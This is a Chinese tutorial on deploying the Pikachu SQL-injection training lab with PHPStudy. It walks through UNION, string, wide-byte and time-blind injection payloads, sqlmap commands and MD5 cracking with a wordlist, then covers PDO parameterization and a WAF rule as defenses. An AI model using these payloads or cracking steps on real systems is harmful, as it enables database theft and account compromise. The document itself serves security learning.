PHPStudy环境下Pikachu靶场SQL注入实战全解:从环境搭建到密码破解

在网络安全学习过程中,本地靶场环境搭建往往是新手面临的第一个挑战。本文将带你从零开始,在Windows系统下使用PHPStudy快速部署Pikachu靶场,并深入解析十种典型SQL注入手法的实战过程。不同于普通教程仅展示Payload,我们将重点解决实际环境中可能遇到的各类报错问题,最终完成从注入到密码解密的完整攻击链。

1. 环境搭建与常见问题排查

1.1 PHPStudy基础配置

PHPStudy作为Windows平台最便捷的PHP集成环境,推荐使用8.1版本以避免兼容性问题。安装完成后需特别注意:

  • 服务端口冲突 :若Apache启动失败,检查80端口是否被占用(常用命令 netstat -ano | findstr :80

  • PHP版本选择 :Pikachu靶场要求PHP 5.4+,但部分功能需要7.0+支持。建议配置双版本切换:

    # 在PHPStudy面板快速切换版本
    phpstudy switch php 7.3.4nts
    
  • 扩展启用 :必须确保以下扩展已勾选:

    • mysqli
    • pdo_mysql
    • mbstring
    • openssl

1.2 Pikachu靶场部署

下载官方源码包后,解压到PHPStudy的 WWW 目录。首次访问时若出现数据库连接错误,需按步骤初始化:

  1. 修改 /inc/config.inc.php 中的数据库配置:

    $dbuser = 'root';          // 默认用户名
    $dbpass = 'root';          // PHPStudy默认密码
    $dbname = 'pikachu';       // 数据库名
    
  2. 执行SQL初始化脚本:

    mysql -uroot -proot < /pikachu/pikachu.sql
    

注意:若出现 #2002 - No connection could be made 错误,需检查MySQL服务是否启动,以及防火墙是否放行3306端口。

2. SQL注入基础与工具准备

2.1 注入原理深度解析

SQL注入本质是输入数据被解释为代码执行。以登录场景为例:

-- 原始语句
SELECT * FROM users WHERE username='$user' AND password='$pass'

-- 注入后(输入admin'-- )
SELECT * FROM users WHERE username='admin'-- ' AND password=''

关键防御手段对比

方法 原理 优缺点
参数化查询 预编译分离数据与指令 100%有效,但需重构代码
输入过滤 黑名单/白名单校验 可能被绕过,维护成本高
ORM框架 自动参数化处理 需避免拼接SQL方法

2.2 必备工具链配置

  • Burp Suite Community :抓包改包基础工具

    • 配置代理为127.0.0.1:8080
    • 安装CA证书解决HTTPS拦截问题
  • sqlmap优化配置

    # sqlmap.conf 关键参数
    thread = 5
    risk = 3
    level = 5
    
  • 在线解密平台

    • CMD5(收费但覆盖率高)
    • Somd5(免费基础版)

3. 十类注入手法实战详解

3.1 数字型注入(POST)

典型报错排查流程:

  1. 提交 id=1' 返回500错误 → 确认注入点存在
  2. 使用 id=1 and 1=1 测试时页面空白 → PHP版本兼容性问题
    • 解决方案:改用 id=1 && 1=1 语法

完整Payload示例:

1 UNION SELECT 
  (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
  version()#

3.2 字符型注入(GET)

特殊字符处理技巧:

  • URL编码转换:单引号 ' %27
  • 宽字节绕过: %df%27 → 触发GBK编码解析
# curl测试示例
curl "http://target/vul/sqli/sqli_str.php?name=kobe%27%20OR%201=1%23"

3.3 时间盲注自动化

手工注入效率低下,推荐使用sqlmap自动化:

sqlmap.py -u "http://target/vul/sqli/sqli_blind_t.php?name=kobe" \
  --technique=T \
  --time-sec=5 \
  --dbms=mysql \
  --batch

实战提示:Windows下可能遇到 'sqlmap.py' is not recognized 错误,需使用 python sqlmap.py 显式调用。

4. 密码解密与攻击闭环

获取到的加密密码通常为MD5哈希,解密策略:

  1. 直接查询

    # 使用CMD5 API(需注册key)
    curl "https://www.cmd5.org/api.ashx?email=your@email.com&key=APIKEY&hash=5f4dcc3b5aa765d61d8327deb882cf99"
    
  2. 本地爆破

    import hashlib
    with open('rockyou.txt') as f:
        for word in f:
            if hashlib.md5(word.strip().encode()).hexdigest() == target_hash:
                print(f"Found: {word}")
                break
    

解密成功率提升技巧

  • 优先尝试 password123 等常见弱口令
  • 组合靶场用户名作为密码前缀(如 admin_pikachu
  • 使用 hashcat 的规则攻击模式

5. 防御方案与学习建议

5.1 代码层防护

// PDO参数化查询示例
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user");
$stmt->execute(['user' => $input]);

5.2 运维层加固

  • MySQL安全配置

    REVOKE ALL PRIVILEGES ON *.* FROM 'pikachu'@'%';
    GRANT SELECT ON pikachu.* TO 'webuser'@'localhost';
    
  • WAF规则示例 (Nginx):

    location ~* \.php$ {
        if ($args ~* "union.*select") {
            return 403;
        }
    }
    

在完成所有注入类型实战后,建议尝试修改Pikachu源码中的防护措施,对比观察不同防御手段的效果差异。例如在开启PDO预处理后,原先有效的Payload将全部失效,这种攻防对比能加深对原理的理解。

更多推荐